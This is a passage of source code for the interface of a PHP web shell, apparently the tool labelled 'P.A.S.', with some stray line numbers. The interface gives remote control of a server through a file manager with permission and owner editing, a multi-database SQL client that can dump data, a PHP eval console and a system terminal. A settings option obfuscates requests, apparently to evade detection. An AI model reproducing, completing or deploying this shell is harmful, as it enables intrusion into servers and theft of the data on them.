value="0">Symbolic</option><option value="1">Hard</option></select><hr class="spcrFlex"/><button>Create</button></div></form><template id="tmplFrmPrps"><form class="modal frmFilesPrps"onmousedown="uiActvModal(event)"onsubmit="chngPrps(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Properties</span><a href="#"class="cntrl"title="Close without saving"onclick="return uiDstrModal(this.parentNode.parentNode)">×</a></div><label class="option">Path<input type="text"name="p"request/></label><div class="flexRow"><label class="option">Modified (UTC) <a href="#"class="cntrl arwDwn"onclick="setErlDate(event)"title="Set the earliest date from table"></a><input type="text"size="1"name="t"/></label> <?php if (NIX) { ?> <hr class="spcr20"/><label class="option">Permission<input type="text"size="1"name="e"/></label><hr class="spcr20"/><label class="option">Owner<input type="text"size="1"name="o"/></label><hr class="spcr20"/><label class="option">Group<input type="text"size="1"name="r"/></label></div><div class="flexRow"> <?php
3418 } ?> <hr class="spcrFlex"/><button >Save</button></div></form></template><form id="frmBuffer"class="modal"onmousedown="uiActvModal(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Buffer</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('frmBuffer')">×</a><a href="#"class="cntrl"title="Resize"onclick="return uiRsz('frmBuffer')">⤢</a></div><table id="tblBuffer"onclick="onTblBufferClick(event)"><thead><tr><th width="20px"><input type="checkbox"onclick="uiCheckAll('Buffer', this.checked)"/></th><th>File</th><th width="35px">Act</th></tr></thead><tfoot><tr><th colspan="3"><button type="button"onclick="unmarkFiles()">Remove</button></th></tr></tfoot></table><template id="tmplBufferRow"><tr><td><input type="checkbox"name="f[]"/></td><td><a href="#"></a></td><td><a href="#"class="lnkAct">Rm</a></td></tr></template></form></div></div></span><span id="tabSQL"><a href="#tabSQL"class="tab">SQL Client</a><div class="tabPage"id="divPageSQL"><form class="toolbar"id="frmCnnct"onsubmit="return cnnct()"><select name="e"> <?php $a = array('MYSQL_NUM' => array('MySQL', 'MySQL'), 'MYSQLI_NUM' => array('MySQLi', 'MySQLi'), 'PDO::MYSQL_ATTR_INIT_COMMAND' => array('MySQLPDO', 'MySQL (PDO)'), 'MSSQL_NUM' => array('MSSQL', 'MSSQL'), 'SQLSRV_ERR_ALL' => array('SQLSrv', 'MSSQL (SQLSrv)'), 'PDO::PARAM_INT' => array('MSSQLDBLIB', 'MSSQL (PDO_DBLIB)'), 'PDO::PARAM_STR' => array('MSSQLODBC', 'MSSQL (PDO_ODBC)'), 'PDO::SQLSRV_ENCODING_UTF8' => array('SQLSrvPDO', 'MSSQL (PDO_SQLSRV)'), 'PGSQL_NUM' => array('PGSQL', 'PostgreSQL'), 'PDO::PARAM_LOB' => array('PGSQLPDO', 'PostgreSQL (PDO)'));
3419 foreach ($a as $k => $v) if (defined($k)) echo '<option value="', $v[0], '">', $v[1], '</option>'; ?> </select><input type="text"name="h"placeholder="Host"/><input type="text"name="u"placeholder="User"/><input type="text"name="p"placeholder="Password"/><input type="text"name="b"placeholder="Base"/><button>></button></form><div class="subbar"><span class="spnChrst"><hr class="arwUp"/><select id="sqlCSSend"><?php foreach ($C as $k => $v) echo '<option value="', $k, '">', $v, '</option>'; ?></select></span><span class="spnChrst"><hr class="arwDwn"/><select id="sqlCSLoad"><?php foreach ($C as $k => $v) echo '<option value="', $k, '">', $v, '</option>'; ?> </select></span></div><div id="divSQL"><div id="divSQLWrpLeft"><div class="panel"><label><input type="checkbox"id="cbCR"/> Count number of rows</label></div><div class="panel"><div id="divSchm"></div></div><div class="panel"id="divDump">Dump as <select id="slctDmpFrmt"><option value="0">SQL</option><option value="1">CSV</option></select><button type="button"onclick="dump()">></button></div></div><div id="divSQLWrpRight"><form class="panel flexRow"id="frmSQL"onsubmit="return query()"><input type="text"name="q"placeholder="SQL query"/><button>></button></form><div id="divCptn"></div><div id="divData"><table id="tblHead"></table><table id="tblData"></table></div><form class="panel"id="frmPg"onsubmit="return chngPg(0)"><input type="hidden"name="b"/><input type="hidden"name="s"/><input type="hidden"name="t"/> Start from row <button type="button"onclick="chngPg(-1)"><</button><input type="text"name="o"size="5"value="0"/><button type="button"onclick="chngPg(1)">></button><div style="float:right">Rows per page <input type="text"name="r"size="3"value="25"/><button>></button></div></form></div></div></div></span><span id="tabPHP"><a href="#tabPHP"class="tab">PHP Console</a><div class="tabPage"id="divPagePHP"><form class="toolbar"id="frmPHP"onsubmit="return evl()"><label><a href="#"title="Change composition"class="cmpsRow"id="aCmps"onclick="return uiChngCmps()">Composition</a></label><label title="Erase PHP code after successful eval"><input type="checkbox"id="cbClnInp"/> Clear input</label><label title="Erase previous results before show new"><input type="checkbox"id="cbClnOut"/> Clear output</label><label title="Render result as HTML"><input type="checkbox"id="cbHTML"/> Show as HTML</label><label><input type="checkbox"name="h"/> Hide PHP errors</label><div><span class="spnChrst"title="Send as..."><hr class="arwUp"/><select id="slctPHPCS"><?php foreach ($C as $v) echo '<option>', $v, '</option>'; ?></select></span><span class="spnChrst"title="Load as..."><hr class="arwDwn"/><select name="c"><?php foreach ($C as $k => $v) echo '<option value="', $k, '">', $v, '</option>'; ?></select></span><button id="sbmPHP"title="Press Ctrl + Enter to evaluate code">Eval</button></div></form><div id="divPHP"><textarea name="e"form="frmPHP"id="txtPHP"placeholder="phpinfo();"onkeydown="onPHPKeyDwn(event)"></textarea><pre id="prePHP"onkeydown="onPHPResKeyDwn(event)"tabindex="-1"></pre></div></div></span><span id="tabTrm"><a href="#tabTrm"class="tab">Terminal</a><form class="tabPage"id="frmTrm"onsubmit="return exec()"><div class="toolbar"><label class="flexRow"title="Shell must be able to accept command from the argument 'c' (e.g.: $<?php echo NIX ? "/bin/shell -c 'uname -a; id'" : "cmd /c 'ver; pwd'"; ?>)">Shell: <input type="text"name="s"placeholder="<?php echo NIX ? '/bin/sh' : ''; ?>"/></label><label><input type="checkbox"name="h"> Don't show errors</label><label>Use function: <select name="f"></select></label><div><span class="spnChrst"title="Send as..."><hr class="arwUp"/><select id="slctTrmCS"><?php foreach ($C as $v) echo '<option>', $v, '</option>'; ?></select></span><span class="spnChrst"style="text-align:right"title="Load as..."><hr class="arwDwn"/><select name="c"><?php foreach ($C as $k => $v) echo '<option value="', $k, '">', $v, '</option>'; ?></select></span></div></div><div id="divTrm"onclick="onTrmClick(event)"><pre id="preTrm"onkeydown="onTrmResKeyDwn(event)"tabindex="-1"></pre><div class="flexRow"><span id="spnUsrHst"></span>:<span id="spnPth"></span>$ <input type="text"name="e"id="inpTrm"onkeydown="onTrmInpKeyDwn(event)"autocomplete="off"/></div></div></form></span><span id="tabInf"><a href="#tabInf"class="tab">Information</a><div class="tabPage"id="divInfo"><div class="toolbar"><div><a href="#"class="lnkAct"onclick="return ajxSnd('Get main info', onInfMain, null, {a:'i',t:'m'})">Main</a> / <a href="#"class="lnkAct"onclick="return ajxSnd('Get php info', onInfPHP, null, {a:'i',t:'p'})">PHP</a> / </div></div> <?php infMain(TRUE); ?></div></span></div><div class="panel"id="divFtr"><div>P.A.S. v. <?php echo VER; ?></div><div id="divDtTm"title="Server Time"><span></span></div><div><a href="#"id="actLog"title="Message log"onclick="return uiShwModal('divLog')">⚠</a></div></div><div class="modal"onmousedown="uiActvModal(event)"id="divStngs"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Settings</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('divStngs')">×</a></div><label class="option"><input type="checkbox"id="cbGET"/> Use GET method instead POST</label><label class="option"><input type="checkbox"id="cbObfs"/> Obfuscate requests</label><form id="frmCstEnv"onsubmit="return false"><fieldset id="fldEnv"><legend><label><input type="checkbox"id="e"/> Run in custom environment</label></legend><label>Function: <select name="f"></select></label><label class="option">Shell: <input type="text"name="s"placeholder="<?php echo NIX ? '/bin/sh' : ''; ?>"/></label><label class="option">Interpreter: <input type="text"name="i"value="<?php if (PHP_VERSION >= '5.4') echo escHTML(PHP_BINARY); ?>"/></label><label class="option"><input type="checkbox"name="n"/> -n No php.ini file will be used</label><label class="option"><input type="checkbox"name="c"/> -C Do not chdir to the script's directory</label></fieldset></form></div><div class="modal"onmousedown="uiActvModal(event)"id="divLog"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Message Log</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('divLog')">×</a><a href="#"class="cntrl"title="Resize"onclick="return uiRsz('divLog')">⤢</a><a href="#"class="cntrl"title="Clear"onclick="return clnLog()">≢</a></div><div id="divLogCntn"></div></div><div id="divMsgs"class="divCntrls"></div></body></html><?php die; ?>